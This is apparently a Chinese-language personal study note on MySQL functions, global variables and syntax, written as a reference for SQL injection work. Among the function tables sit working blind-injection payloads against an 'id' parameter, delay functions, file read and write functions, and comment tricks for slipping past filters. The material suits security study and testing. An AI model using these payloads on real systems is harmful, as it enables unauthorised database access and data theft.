系统信息函数
函数 | 说明 |
---|---|
USER() | 获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。 |
DATABASE() | 获取当前选择的数据库名,同SCHEMA()。 |
VERSION() | 获取当前版本信息。 |
常见全局变量
变量 | 说明 |
---|---|
@@VERSION | 返回版本信息 |
@@HOSTNAME | 返回安装的计算机名称 |
@@GLOBAL.VERSION | 同@@VERSION |
@@BASEDIR | 返回MYSQL绝对路径 |
常用的内置变量
变量 | 说明 |
---|---|
database() | 当前所在的数据库 |
user() | 当前数据库用户和权限 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
system_user() | 系统用户名 |
@@datadir | 数据文件的存放目录 |
@@basedir | 数据库的安装路径 |
@@version_compile_os | 宿主系统平台是什么 |
@@hostname | 当前机器的机器名,可不是域名哦 |
null | 特殊工具,因为它可以匹配任意数据类型,在遍历字段个数时可能会用到 |
show variables like ‘log_%’; | 查看日志文件存放位置 |
PS:查看全部全局变量SHOW GLOBAL VARIABLES;。
进制转换函数
函数 | 说明 |
---|---|
ORD(str) | 返回字符串第一个字符的ASCII值。 |
OCT(N) | 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8) 。 |
HEX(N_S) | 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式。 |
UNHEX(str) | HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。 |
BIN(N) | 返回十进制数值 N 的二进制数值的字符串表现形式。 |
ASCII(str) | 同ORD(string) 。 |
CONV(N,from_base,to_base) | 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。 |
CHAR(N,… [USING charset_name]) | 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。 |
char是个数据类型,char(),是把一个别的类型数据强转成char类型,比如,char(97)和char(#97)都将得到a
chr(),参数是byte类型,负责把ascii码值转换成char,比如:chr(97)返回一个char类型’a’
ascii(单个字符)
ord(单个字符) 返回指定的ASCII码字符所对应的数值,下面的ord()用法基本也是一致的
replace(字段名,要替换的字符串,准备替换为的字符) 字符串替换,在读取文件时,我们可能需要用到replace()替换一些特殊字符
取整函数
floor() rand() 取整函数和四舍五入函数
hex() unhex() 进制转换函数,16进制转换,导出udf的时候可能会用到
conv(num,from_base,to_base) 经常会用来绕过某些编码过滤
字符截取函数
函数 | 说明 |
---|---|
SUBSTR(str,N_start,N_length) | 对指定字符串进行截取,为SUBSTRING的简单版。 |
SUBSTRING() | 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 对指定字符串从最右边 截取指定长度。 |
LEFT(str,len) | 对指定字符串从最左边 截取指定长度。 |
RPAD(str,len,padstr) | 在 str 右方补齐 len 位的字符串 padstr ,返回新字符串。如果 str 长度大于 len ,则返回值的长度将缩减到 len 所指定的长度。 |
LPAD(str,len,padstr) | 与RPAD相似,在str 左边补齐。 |
MID(str,pos,len) | 同于 SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr ,然后返回经过替换后的字符串。INSERT(str,len,1,0x0) 可当做截取函数。 |
CONCAT(str1,str2…) | 函数用于将多个字符串合并为一个字符串 |
[[group_concat]](…) | 返回一个字符串结果,该结果由分组中的值连接组合而成。 |
MAKE_SET(bits,str1,str2,…) | 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,‘1’,‘710’))。 |
字符串截取函数
substring(要截取的字符串,从什么地方开始截取,截取多长) 截取指定字符串
substr(要截取的字符串,从什么地方开始截取,截取多长) 具体用法基本同substring()
mid(要截取的字符串,从什么地方开始截取,截取多长) 专有的字符串截取
left(str,3) 左截取
right(str,3) 右截取
字符串截取函数使用:
id=4 and substr((select user()),1,1)=0x6D --
id=4 and substring((select user()),1,1)=0x6D --
id=4 and Left((select user()),1)=0x6D --
id=4 and mid((select user()),1,1)=0x6D --
id=4 and ifnull((substr((select user()),1,1)=0x6D),0) --
id=4 and strcmp((substr((select user()),1,1)=0x6D),1) --
id=4 and ascii(substr((select user()),1,1))=109 --
id=4 and ord(substr((select user()),1,1))=109 --
id=3%2Bascii(substr((select user()),1,1))-108 --
id=4 and 1=(user() regexp 0x5E726F6F5B612D7A5D) -- 0x5E726F6F5B612D7A5D=^roo[a-z]
id=4 and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regexp 0x5E61646D695B612D7A5D limit 0,1)--
id=4 and 1=(select user() like 0x726F25)--
?id=1’ and if(left(database(),1)=‘s’,1,0)--+ 不需要select
字符串比较
strcmp( expr1,expr2 ) // 如果两个字符串是一样则返回0,如果第一个小于第二个则返回 -1
find_in_set( str,strlist ) //如果相同则返回 1不同则返回0
字符串连接函数
concat(str1,str2,str3…) 字符串连接函数 注意,中间只要字符串有一个为空,最后结果也为空
concat_ws(‘指定分隔符’,str1,str2,str3…) 跟concat()稍微不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空
group_concat(field_name1, field_name2, field_name3…) 其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024
字符串填充函数
rpad()
lpad()
其他常用函数/语句
函数/语句 | 说明 |
---|---|
LENGTH(str) | 返回字符串的长度。 |
PI() | 返回π的具体数值。 |
REGEXP “statement” | 正则匹配数据,返回值为布尔值。 |
LIKE "statement" | 匹配数据,%代表任意内容。返回值为布尔值。 |
RLIKE “statement” | 与regexp相同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次出现的位置。 |
POSITION(substr IN str) | 等同于 LOCATE() 。 |
LOWER(str) | 将字符串的大写字母全部转成小写。同:LCASE(str) 。 |
UPPER(str) | 将字符串的小写字母全部转成大写。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,…) | 与MAKE_SET(bit,str1,str2…) 类似,根据N 返回参数值。 |
NULLIF(expr1,expr2) | 若expr1与expr2相同,则返回expr1,否则返回NULL。 |
CHARSET(str) | 返回字符串使用的字符集。 |
DECODE(crypt_str ,pass_str) | 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。 |
locate() 返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用
length(field_name) 统计某个字段下的某条数据的字符总长度
count(*) 统计某个表下总共有多少条记录,表中存在的数据
lower() upper() 大小写转换
一些绕过注入的罕见函数
instr( str1,substr ) // 从子字符串中返回子串第一次出现的位置
lpad( str,len ,padstr) rpad( str,len, padstr) // 在str的左( 右)两边填充给定的padstr到指定的长度len ,返回填充的结果
常用函数
-
延时函数
- sleep()
- benchmark( 1000000,sha (1))
-
文件函数
- load_file //读取文件
- outfile //写入文件
小技巧
-
函数名和括号直接可以插入特殊字符 ex
-
concat/**/()
-
information_schema/**/./**/TABLES
-
information_schema%0a.%0aTABLES(%0a是换行符)
-
-
{identifier expr}
- select {x 1} from {x test} limit 1;
这些变量不需要用到select来查询,所以再不能使用select,还是可以查询这些变量。
version() 当前数据库详细版本号,注意,针对mysql 4和5的注入方式是完全不一样的
LIMIT函数
LIMIT 5,10; // 检索记录行 6-15
LIMIT 95,-1; // 检索记录行 96-last. 96-结束
LIMIT 5; //检索前 5 个记录行 //换句话说,LIMIT n 等价于 LIMIT 0,n。
name_const(built_name,value)函数
name_const(built_name,value) 只在mysql内部使用
case when end
case when end 相当于sql中的’switch’语句
SELECT CASE
WHEN 1 > 0
THEN ‘1 > 0’
WHEN 2 > 0
THEN ‘2 > 0’
ELSE ‘3 > 0’
END
->1 > 0
()x,把括号内语句别名为 x
![[Pasted image 20201207191402.png]]
join可建立两个表之间的内连接。
select查询的时候,可以利用join来使列数匹配
mysql> select * from test where id=1 union select * from (select 1)a join (select 2)b join (select 3)c;
mid,substr字符串截取无逗号
读取通过from for分页读取,#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。
https://blog.csdn.net/weixin_30719711/article/details/98855643
select * from test where id=1 and mid(‘mysql’ from 1 for 1) = ‘m’;
limit offset的用法和区别:
例1,假设数据库表student存在13条数据。
代码示例:
语句1:select * from student limit 9,4
语句2:slect * from student limit 4 offset 9
// 语句1和2均返回表student的第10、11、12、13行
//语句2中的4表示返回4行,9表示从表的第十行开始
例2,通过limit和offset 或只通过limit可以实现分页功能。
假设 numberperpage 表示每页要显示的条数,pagenumber表示页码,那么 返回第pagenumber页,每页条数为numberperpage的sql语句:
代码示例:
语句3:select * from studnet limit (pagenumber-1)*numberperpage,numberperpage
语句4:select * from student limit numberperpage offset (pagenumber-1)*numberperpage